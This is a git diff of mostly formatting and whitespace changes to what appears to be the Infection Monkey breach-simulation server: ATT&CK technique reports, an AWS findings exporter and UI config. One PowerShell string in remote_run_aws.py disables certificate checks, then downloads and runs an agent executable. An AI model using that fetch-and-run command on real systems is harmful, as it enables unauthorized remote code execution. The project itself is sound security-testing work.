__author__ = 'Barak'
import logging
+
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/resources/monkey.py b/monkey/monkey_island/cc/resources/monkey.py
index 8e523a8a7..3e3ef40c0 100644
--- a/monkey/monkey_island/cc/resources/monkey.py
+++ b/monkey/monkey_island/cc/resources/monkey.py
@@ -13,6 +13,7 @@ from monkey_island.cc.services.node import NodeService
__author__ = 'Barak'
+
# TODO: separate logic from interface
diff --git a/monkey/monkey_island/cc/resources/netmap.py b/monkey/monkey_island/cc/resources/netmap.py
index ed83414f5..3b7e471d8 100644
--- a/monkey/monkey_island/cc/resources/netmap.py
+++ b/monkey/monkey_island/cc/resources/netmap.py
@@ -27,5 +27,3 @@ class NetMap(flask_restful.Resource):
"nodes": monkeys + nodes + monkey_island,
"edges": edges
}
-
-
diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py
index 5b567e8e4..de85fc291 100644
--- a/monkey/monkey_island/cc/resources/pba_file_download.py
+++ b/monkey/monkey_island/cc/resources/pba_file_download.py
@@ -9,6 +9,7 @@ class PBAFileDownload(flask_restful.Resource):
"""
File download endpoint used by monkey to download user's PBA file
"""
+
# Used by monkey. can't secure.
def get(self, path):
return send_from_directory(GET_FILE_DIR, path)
diff --git a/monkey/monkey_island/cc/resources/pba_file_upload.py b/monkey/monkey_island/cc/resources/pba_file_upload.py
index 0d924a742..3a636459c 100644
--- a/monkey/monkey_island/cc/resources/pba_file_upload.py
+++ b/monkey/monkey_island/cc/resources/pba_file_upload.py
@@ -21,6 +21,7 @@ class FileUpload(flask_restful.Resource):
"""
File upload endpoint used to exchange files with filepond component on the front-end
"""
+
@jwt_required()
def get(self, file_type):
"""
diff --git a/monkey/monkey_island/cc/resources/reporting/report.py b/monkey/monkey_island/cc/resources/reporting/report.py
index 5b416e60b..961e745a8 100644
--- a/monkey/monkey_island/cc/resources/reporting/report.py
+++ b/monkey/monkey_island/cc/resources/reporting/report.py
@@ -1,6 +1,5 @@
import http.client
-
import flask_restful
from flask import jsonify
@@ -28,10 +27,10 @@ class Report(flask_restful.Resource):
elif report_type == ZERO_TRUST_REPORT_TYPE:
if report_data == REPORT_DATA_PILLARS:
return jsonify({
- "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
- "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
- "grades": ZeroTrustService.get_pillars_grades()
- }
+ "statusesToPillars": ZeroTrustService.get_statuses_to_pillars(),
+ "pillarsToStatuses": ZeroTrustService.get_pillars_to_statuses(),
+ "grades": ZeroTrustService.get_pillars_grades()
+ }
)
elif report_data == REPORT_DATA_PRINCIPLES_STATUS:
return jsonify(ZeroTrustService.get_principles_status())
diff --git a/monkey/monkey_island/cc/resources/representations_test.py b/monkey/monkey_island/cc/resources/representations_test.py
index 714c70ed2..c50394117 100644
--- a/monkey/monkey_island/cc/resources/representations_test.py
+++ b/monkey/monkey_island/cc/resources/representations_test.py
@@ -37,12 +37,12 @@ class TestJsonRepresentations(TestCase):
# dicts and lists
self.assertEqual({
- "a": [
- {"ba": obj_id_str,
- "bb": obj_id_str}
- ],
- "b": {"id": obj_id_str}
- },
+ "a": [
+ {"ba": obj_id_str,
+ "bb": obj_id_str}
+ ],
+ "b": {"id": obj_id_str}
+ },
normalize_obj({
"a": [
{"ba": bson.objectid.ObjectId(obj_id_str),
diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py
index a655c5f9f..8a8c750b4 100644
--- a/monkey/monkey_island/cc/resources/telemetry_feed.py
+++ b/monkey/monkey_island/cc/resources/telemetry_feed.py
@@ -22,8 +22,8 @@ class TelemetryFeed(flask_restful.Resource):
if "null" == timestamp or timestamp is None: # special case to avoid ugly JS code...
telemetries = mongo.db.telemetry.find({})
else:
- telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}})\
-
+ telemetries = mongo.db.telemetry.find({'timestamp': {'$gt': dateutil.parser.parse(timestamp)}}) \
+ \
telemetries = telemetries.sort([('timestamp', flask_pymongo.ASCENDING)])
try:
diff --git a/monkey/monkey_island/cc/resources/test/log_test.py b/monkey/monkey_island/cc/resources/test/log_test.py
index e592e7214..ef4ff708d 100644
--- a/monkey/monkey_island/cc/resources/test/log_test.py
+++ b/monkey/monkey_island/cc/resources/test/log_test.py
@@ -2,7 +2,6 @@ from bson import json_util
import flask_restful
from flask import request
-
from monkey_island.cc.auth import jwt_required
from monkey_island.cc.database import mongo, database
diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
index 0b28d0b74..420f1b303 100644
--- a/monkey/monkey_island/cc/server_config.json
+++ b/monkey/monkey_island/cc/server_config.json
@@ -1,4 +1,4 @@
{
- "server_config": "standard",
- "deployment": "develop"
+ "server_config": "standard",
+ "deployment": "develop"
}
diff --git a/monkey/monkey_island/cc/services/attack/attack_report.py b/monkey/monkey_island/cc/services/attack/attack_report.py
index 1c18f7654..10005bd26 100644
--- a/monkey/monkey_island/cc/services/attack/attack_report.py
+++ b/monkey/monkey_island/cc/services/attack/attack_report.py
@@ -10,7 +10,6 @@ from monkey_island.cc.services.reporting.report_generation_synchronisation impor
__author__ = "VakarisZ"
-
LOG = logging.getLogger(__name__)
TECHNIQUES = {'T1210': T1210.T1210,
@@ -52,7 +51,7 @@ class AttackReportService:
Generates new report based on telemetries, replaces old report in db with new one.
:return: Report object
"""
- report =\
+ report = \
{
'techniques': {},
'meta': {'latest_monkey_modifytime': Monkey.get_latest_modifytime()},
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
index 2b49f264d..8039a2e76 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1003.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1003(AttackTechnique):
-
tech_id = "T1003"
unscanned_msg = "Monkey tried to obtain credentials from systems in the network but didn't find any or failed."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
index b84fe4a6f..2a39fad02 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1005.py
@@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1005(AttackTechnique):
-
tech_id = "T1005"
unscanned_msg = "Monkey didn't gather any sensitive data from local system."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
index 43d7c42b0..9249020dc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1016.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1016(AttackTechnique):
-
tech_id = "T1016"
unscanned_msg = "Monkey didn't gather network configurations."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
index a955f6cc9..3498029c9 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1018.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1018(AttackTechnique):
-
tech_id = "T1018"
unscanned_msg = "Monkey didn't find any machines on the network."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
index d22583359..3fc29259b 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1021.py
@@ -3,7 +3,6 @@ from monkey_island.cc.services.attack.technique_reports import AttackTechnique
from common.utils.attack_utils import ScanStatus
from monkey_island.cc.services.attack.technique_reports.technique_report_tools import parse_creds
-
__author__ = "VakarisZ"
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
index 1342b646e..ae3342355 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1041.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1041(AttackTechnique):
-
tech_id = "T1041"
unscanned_msg = "Monkey didn't exfiltrate any info trough command and control channel."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
index ef15dd9fd..a2eb3ffd0 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1059.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1059(AttackTechnique):
-
tech_id = "T1059"
unscanned_msg = "Monkey didn't exploit any machines to run commands at."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
index 7d8ceb93e..f8eb9aa3e 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1065.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1065(AttackTechnique):
-
tech_id = "T1065"
unscanned_msg = ""
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
index 623d157ae..655da767d 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1075.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1075(AttackTechnique):
-
tech_id = "T1075"
unscanned_msg = "Monkey didn't try to use pass the hash attack."
scanned_msg = "Monkey tried to use hashes while logging in but didn't succeed."
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
index bc2645bb9..726910789 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1082.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1082(AttackTechnique):
-
tech_id = "T1082"
unscanned_msg = "Monkey didn't gather any system info on the network."
scanned_msg = ""
@@ -22,17 +21,17 @@ class T1082(AttackTechnique):
{'$project': {'_id': 0,
'machine': 1,
'collections': [
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
- 'name': {'$literal': 'Amazon Web Services info'}},
- {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
- 'name': {'$literal': 'Running process list'}},
- {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
- 'name': {'$literal': 'Network connections'}},
- {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
- 'name': {'$literal': 'SSH info'}},
- {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
- 'name': {'$literal': 'Azure info'}}
- ]}},
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$gt': ['$aws', {}]}]},
+ 'name': {'$literal': 'Amazon Web Services info'}},
+ {'used': {'$and': [{'$ifNull': ['$process_list', False]}, {'$gt': ['$process_list', {}]}]},
+ 'name': {'$literal': 'Running process list'}},
+ {'used': {'$and': [{'$ifNull': ['$netstat', False]}, {'$ne': ['$netstat', []]}]},
+ 'name': {'$literal': 'Network connections'}},
+ {'used': {'$and': [{'$ifNull': ['$ssh_info', False]}, {'$ne': ['$ssh_info', []]}]},
+ 'name': {'$literal': 'SSH info'}},
+ {'used': {'$and': [{'$ifNull': ['$azure_info', False]}, {'$ne': ['$azure_info', []]}]},
+ 'name': {'$literal': 'Azure info'}}
+ ]}},
{'$group': {'_id': {'machine': '$machine', 'collections': '$collections'}}},
{"$replaceRoot": {"newRoot": "$_id"}}]
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
index dd5d64d25..fe4b6ccec 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1086.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1086(AttackTechnique):
-
tech_id = "T1086"
unscanned_msg = "Monkey didn't run powershell."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
index 7a6c830b8..f5702ede8 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1090.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1090(AttackTechnique):
-
tech_id = "T1090"
unscanned_msg = "Monkey didn't use connection proxy."
scanned_msg = ""
@@ -20,5 +19,3 @@ class T1090(AttackTechnique):
data = T1090.get_base_data_by_status(status)
data.update({'proxies': monkeys})
return data
-
-
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
index 3d95fd88d..6ae8037bc 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1105.py
@@ -5,7 +5,6 @@ __author__ = "VakarisZ"
class T1105(AttackTechnique):
-
tech_id = "T1105"
unscanned_msg = "Monkey didn't try to copy files to any systems."
scanned_msg = "Monkey tried to copy files, but failed."
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
index 72bb0af76..a28dc5aeb 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1110.py
@@ -46,5 +46,3 @@ class T1110(AttackTechnique):
data.update({'services': attempts})
return data
-
-
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
index 32187696a..3959302fa 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1188.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1188(AttackTechnique):
-
tech_id = "T1188"
unscanned_msg = "Monkey didn't use multi-hop proxy."
scanned_msg = ""
diff --git a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
index eeae183f5..5b9a23c62 100644
--- a/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
+++ b/monkey/monkey_island/cc/services/attack/technique_reports/T1210.py
@@ -6,7 +6,6 @@ __author__ = "VakarisZ"
class T1210(AttackTechnique):
-
tech_id = "T1210"
unscanned_msg = "Monkey didn't scan any remote services. Maybe it didn't find any machines on the network?"
scanned_msg = "Monkey scanned for remote services on the network, but couldn't exploit any of them."
@@ -30,8 +29,8 @@ class T1210(AttackTechnique):
@staticmethod
def get_scanned_services():
results = mongo.db.telemetry.aggregate([{'$match': {'telem_category': 'scan'}},
- {'$sort': {'data.service_count': -1}},
- {'$group': {
+ {'$sort': {'data.service_count': -1}},
+ {'$group': {
'_id': {'ip_addr': '$data.machine.ip_addr'},
'machine': {'$first': '$data.machine'},
'time': {'$first': '$timestamp'}}}])
diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py
index 641da8055..41c218099 100644
--- a/monkey/monkey_island/cc/services/config.py
+++ b/monkey/monkey_island/cc/services/config.py
@@ -15,7 +15,6 @@ __author__ = "itay.mizeretz"
logger = logging.getLogger(__name__)
-
# This should be used for config values of array type (array of strings only)
ENCRYPTED_CONFIG_ARRAYS = \
[
@@ -266,11 +265,11 @@ class ConfigService:
# Check if array of shh key pairs and then decrypt
if isinstance(config_arr[i], dict) and 'public_key' in config_arr[i]:
config_arr[i] = ConfigService.decrypt_ssh_key_pair(config_arr[i]) if is_decrypt else \
- ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
+ ConfigService.decrypt_ssh_key_pair(config_arr[i], True)
else:
config_arr[i] = encryptor.dec(config_arr[i]) if is_decrypt else encryptor.enc(config_arr[i])
else:
- parent_config_arr[config_arr_as_array[-1]] =\
+ parent_config_arr[config_arr_as_array[-1]] = \
encryptor.dec(config_arr) if is_decrypt else encryptor.enc(config_arr)
@staticmethod
diff --git a/monkey/monkey_island/cc/services/database.py b/monkey/monkey_island/cc/services/database.py
index 62e370e44..7062d71c3 100644
--- a/monkey/monkey_island/cc/services/database.py
+++ b/monkey/monkey_island/cc/services/database.py
@@ -6,7 +6,6 @@ from monkey_island.cc.services.post_breach_files import remove_PBA_files
from flask import jsonify
from monkey_island.cc.database import mongo
-
logger = logging.getLogger(__name__)
@@ -28,4 +27,3 @@ class Database(object):
def init_db():
if not mongo.db.collection_names():
Database.reset_db()
-
diff --git a/monkey/monkey_island/cc/services/island_logs.py b/monkey/monkey_island/cc/services/island_logs.py
index 77b28bdd4..be6aae12d 100644
--- a/monkey/monkey_island/cc/services/island_logs.py
+++ b/monkey/monkey_island/cc/services/island_logs.py
@@ -1,4 +1,5 @@
import logging
+
__author__ = "Maor.Rayzin"
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/services/mimikatz_utils.py b/monkey/monkey_island/cc/services/mimikatz_utils.py
index 4b88473fe..e2ab8ec10 100644
--- a/monkey/monkey_island/cc/services/mimikatz_utils.py
+++ b/monkey/monkey_island/cc/services/mimikatz_utils.py
@@ -1,4 +1,3 @@
-
__author__ = 'maor.rayzin'
diff --git a/monkey/monkey_island/cc/services/remote_run_aws.py b/monkey/monkey_island/cc/services/remote_run_aws.py
index c81e0bc4a..9627bf74c 100644
--- a/monkey/monkey_island/cc/services/remote_run_aws.py
+++ b/monkey/monkey_island/cc/services/remote_run_aws.py
@@ -130,7 +130,7 @@ class RemoteRunAwsService:
return r"[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {" \
r"$true}; (New-Object System.Net.WebClient).DownloadFile('https://" + island_ip + \
r":5000/api/monkey/download/monkey-windows-" + bit_text + r".exe','.\\monkey.exe'); " \
- r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
+ r";Start-Process -FilePath '.\\monkey.exe' -ArgumentList 'm0nk3y -s " + island_ip + r":5000'; "
@staticmethod
def _get_run_monkey_cmd_line(is_linux, is_64bit, island_ip):
diff --git a/monkey/monkey_island/cc/services/reporting/aws_exporter.py b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
index f0b6bdb6a..19293f991 100644
--- a/monkey/monkey_island/cc/services/reporting/aws_exporter.py
+++ b/monkey/monkey_island/cc/services/reporting/aws_exporter.py
@@ -208,9 +208,9 @@ class AWSExporter(Exporter):
description="Protect {ssh_key} private key with a pass phrase.".format(ssh_key=issue['ssh_key']),
recommendation="The machine {machine} ({ip_address}) is vulnerable to a SSH attack. The Monkey authenticated "
"over the SSH protocol with private key {ssh_key}.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- ssh_key=issue['ssh_key']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ ssh_key=issue['ssh_key']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -224,8 +224,8 @@ class AWSExporter(Exporter):
description="Update your Elastic Search server to version 1.4.3 and up.",
recommendation="The machine {0}({1}) is vulnerable to an Elastic Groovy attack. The attack was made "
"possible because the Elastic Search server was not patched against CVE-2015-1427.".format(
- issue['machine'],
- issue['ip_address']),
+ issue['machine'],
+ issue['ip_address']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -269,7 +269,7 @@ class AWSExporter(Exporter):
recommendation="The machine {0} ({1}) is vulnerable to a ShellShock attack. "
"The attack was made possible because the HTTP server running on TCP port {2} was vulnerable to a "
"shell injection attack on the paths: {3}.".format(
- issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
+ issue['machine'], issue['ip_address'], issue['port'], issue['paths']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -284,9 +284,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine {0} ({1}) is vulnerable to a SMB attack. The Monkey authenticated over the SMB "
"protocol with user {2} and its password.".format(
- issue['machine'],
- issue['ip_address'],
- issue['username']),
+ issue['machine'],
+ issue['ip_address'],
+ issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -301,9 +301,9 @@ class AWSExporter(Exporter):
"network.",
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey authenticated over "
"the WMI protocol with user {username} and its password.".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -318,9 +318,9 @@ class AWSExporter(Exporter):
"network.".format(issue['username']),
recommendation="The machine machine ({ip_address}) is vulnerable to a WMI attack. The Monkey used a "
"pass-the-hash attack over WMI protocol with user {username}".format(
- machine=issue['machine'],
- ip_address=issue['ip_address'],
- username=issue['username']),
+ machine=issue['machine'],
+ ip_address=issue['ip_address'],
+ username=issue['username']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
@@ -361,7 +361,7 @@ class AWSExporter(Exporter):
description="This critical machine is open to attacks via strong users with access to it.",
recommendation="The services: {services} have been found on the machine thus classifying it as a critical "
"machine. These users has access to it:{threatening_users}.".format(
- services=issue['services'], threatening_users=issue['threatening_users']),
+ services=issue['services'], threatening_users=issue['threatening_users']),
instance_arn=instance_arn,
instance_id=issue['aws_instance_id'] if 'aws_instance_id' in issue else None
)
diff --git a/monkey/monkey_island/cc/services/reporting/exporter_init.py b/monkey/monkey_island/cc/services/reporting/exporter_init.py
index f64d4b4aa..903af1628 100644
--- a/monkey/monkey_island/cc/services/reporting/exporter_init.py
+++ b/monkey/monkey_island/cc/services/reporting/exporter_init.py
@@ -4,6 +4,7 @@ from monkey_island.cc.services.reporting.report_exporter_manager import ReportEx
from monkey_island.cc.services.reporting.aws_exporter import AWSExporter
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
from monkey_island.cc.environment.environment import env
+
logger = logging.getLogger(__name__)
diff --git a/monkey/monkey_island/cc/services/reporting/test_pth_report.py b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
index 7c709f862..b5a628fb1 100644
--- a/monkey/monkey_island/cc/services/reporting/test_pth_report.py
+++ b/monkey/monkey_island/cc/services/reporting/test_pth_report.py
@@ -64,6 +64,3 @@ class TestPTHReportServiceGenerateMapNodes(IslandTestCase):
self.assertEqual(map_nodes[0]["group"], "critical")
self.assertEqual(len(map_nodes[0]["services"]), 2)
self.assertEqual(map_nodes[0]["hostname"], hostname)
-
-
-
diff --git a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
index a43da8416..98b99ac13 100644
--- a/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
+++ b/monkey/monkey_island/cc/services/reporting/test_zero_trust_service.py
@@ -306,7 +306,7 @@ class TestZeroTrustService(IslandTestCase):
def compare_lists_no_order(s, t):
- t = list(t) # make a mutable copy
+ t = list(t) # make a mutable copy
try:
for elem in s:
t.remove(elem)
diff --git a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
index b0e2eb8b7..e6ac8734b 100644
--- a/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
+++ b/monkey/monkey_island/cc/services/telemetry/processing/post_breach.py
@@ -24,4 +24,3 @@ def process_post_breach_telemetry(telemetry_json):
post_breach_action_name = telemetry_json["data"]["name"]
if post_breach_action_name in POST_BREACH_TELEMETRY_PROCESSING_FUNCS:
POST_BREACH_TELEMETRY_PROCESSING_FUNCS[post_breach_action_name](telemetry_json)
-
diff --git a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
index b4efd3c3a..626a4cc52 100644
--- a/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
+++ b/monkey/monkey_island/cc/services/telemetry/zero_trust_tests/segmentation.py
@@ -9,7 +9,7 @@ from monkey_island.cc.models.zero_trust.segmentation_finding import Segmentation
from monkey_island.cc.services.configuration.utils import get_config_network_segments_as_subnet_groups
SEGMENTATION_DONE_EVENT_TEXT = "Monkey on {hostname} is done attempting cross-segment communications " \
- "from `{src_seg}` segments to `{dst_seg}` segments."
+ "from `{src_seg}` segments to `{dst_seg}` segments."
SEGMENTATION_VIOLATION_EVENT_TEXT = \
"Segmentation violation! Monkey on '{hostname}', with the {source_ip} IP address (in segment {source_seg}) " \
@@ -101,8 +101,8 @@ def get_segmentation_done_event(current_monkey, subnet_pair):
return Event.create_event(
title="Segmentation test done",
message=SEGMENTATION_DONE_EVENT_TEXT.format(
- hostname=current_monkey.hostname,
- src_seg=subnet_pair[0],
- dst_seg=subnet_pair[1]),
+ hostname=current_monkey.hostname,
+ src_seg=subnet_pair[0],
+ dst_seg=subnet_pair[1]),
event_type=EVENT_TYPE_MONKEY_NETWORK
)
diff --git a/monkey/monkey_island/cc/services/version_update.py b/monkey/monkey_island/cc/services/version_update.py
index 3d43017f6..c1dab52a9 100644
--- a/monkey/monkey_island/cc/services/version_update.py
+++ b/monkey/monkey_island/cc/services/version_update.py
@@ -54,4 +54,3 @@ class VersionUpdateService:
@staticmethod
def get_download_link():
return VersionUpdateService.VERSION_SERVER_DOWNLOAD_URL % (env.get_deployment(), env.get_version())
-
diff --git a/monkey/monkey_island/cc/services/wmi_handler.py b/monkey/monkey_island/cc/services/wmi_handler.py
index 2522b42dd..a802aabf1 100644
--- a/monkey/monkey_island/cc/services/wmi_handler.py
+++ b/monkey/monkey_island/cc/services/wmi_handler.py
@@ -5,7 +5,6 @@ __author__ = 'maor.rayzin'
class WMIHandler(object):
-
ADMINISTRATORS_GROUP_KNOWN_SID = '1-5-32-544'
def __init__(self, monkey_id, wmi_info, user_secrets):
@@ -160,4 +159,3 @@ class WMIHandler(object):
{'type': USERTYPE, 'entities_list': 1})
if entity_details.get('type') == GROUPTYPE:
self.add_admin(entity_details, machine_id)
-
diff --git a/monkey/monkey_island/cc/ui/.babelrc b/monkey/monkey_island/cc/ui/.babelrc
index 31130e826..7c92bc8e1 100644
--- a/monkey/monkey_island/cc/ui/.babelrc
+++ b/monkey/monkey_island/cc/ui/.babelrc
@@ -1,4 +1,10 @@
{
- "presets": ["es2015", "stage-0", "react"],
- "plugins": ["emotion"]
+ "presets": [
+ "es2015",
+ "stage-0",
+ "react"
+ ],
+ "plugins": [
+ "emotion"
+ ]
}
diff --git a/monkey/monkey_island/cc/ui/.eslintrc b/monkey/monkey_island/cc/ui/.eslintrc
index b542daaf7..6b5cd85f9 100644
--- a/monkey/monkey_island/cc/ui/.eslintrc
+++ b/monkey/monkey_island/cc/ui/.eslintrc
@@ -19,14 +19,22 @@
},
"rules": {
"comma-dangle": 1,
- "quotes": [ 1, "single" ],
+ "quotes": [
+ 1,
+ "single"
+ ],
"no-undef": 1,
"global-strict": 0,
"no-extra-semi": 1,
"no-underscore-dangle": 0,
"no-console": 1,
"no-unused-vars": 1,
- "no-trailing-spaces": [1, { "skipBlankLines": true }],
+ "no-trailing-spaces": [
+ 1,
+ {
+ "skipBlankLines": true
+ }
+ ],
"no-unreachable": 1,
"no-alert": 0,
"react/jsx-uses-react": 1,
diff --git a/monkey/monkey_island/cc/ui/karma.conf.js b/monkey/monkey_island/cc/ui/karma.conf.js
index 87401bfe6..660cb8128 100644
--- a/monkey/monkey_island/cc/ui/karma.conf.js
+++ b/monkey/monkey_island/cc/ui/karma.conf.js
@@ -3,23 +3,23 @@ var webpackCfg = require('./webpack.config');
// Set node environment to testing
process.env.NODE_ENV = 'test';
-module.exports = function(config) {
+module.exports = function (config) {
config.set({
basePath: '',
- browsers: [ 'PhantomJS' ],
+ browsers: ['PhantomJS'],
files: [
'test/loadtests.js'
],
port: 8000,
captureTimeout: 60000,
- frameworks: [ 'mocha', 'chai' ],
+ frameworks: ['mocha', 'chai'],
client: {
mocha: {}
},
singleRun: true,
- reporters: [ 'mocha', 'coverage' ],
+ reporters: ['mocha', 'coverage'],
preprocessors: {
- 'test/loadtests.js': [ 'webpack', 'sourcemap' ]
+ 'test/loadtests.js': ['webpack', 'sourcemap']
},
webpack: webpackCfg,
webpackServer: {
@@ -28,8 +28,8 @@ module.exports = function(config) {
coverageReporter: {
dir: 'coverage/',
reporters: [
- { type: 'html' },
- { type: 'text' }
+ {type: 'html'},
+ {type: 'text'}
]
}
});
diff --git a/monkey/monkey_island/cc/ui/server.js b/monkey/monkey_island/cc/ui/server.js
index ec9182cde..49045359e 100644
--- a/monkey/monkey_island/cc/ui/server.js
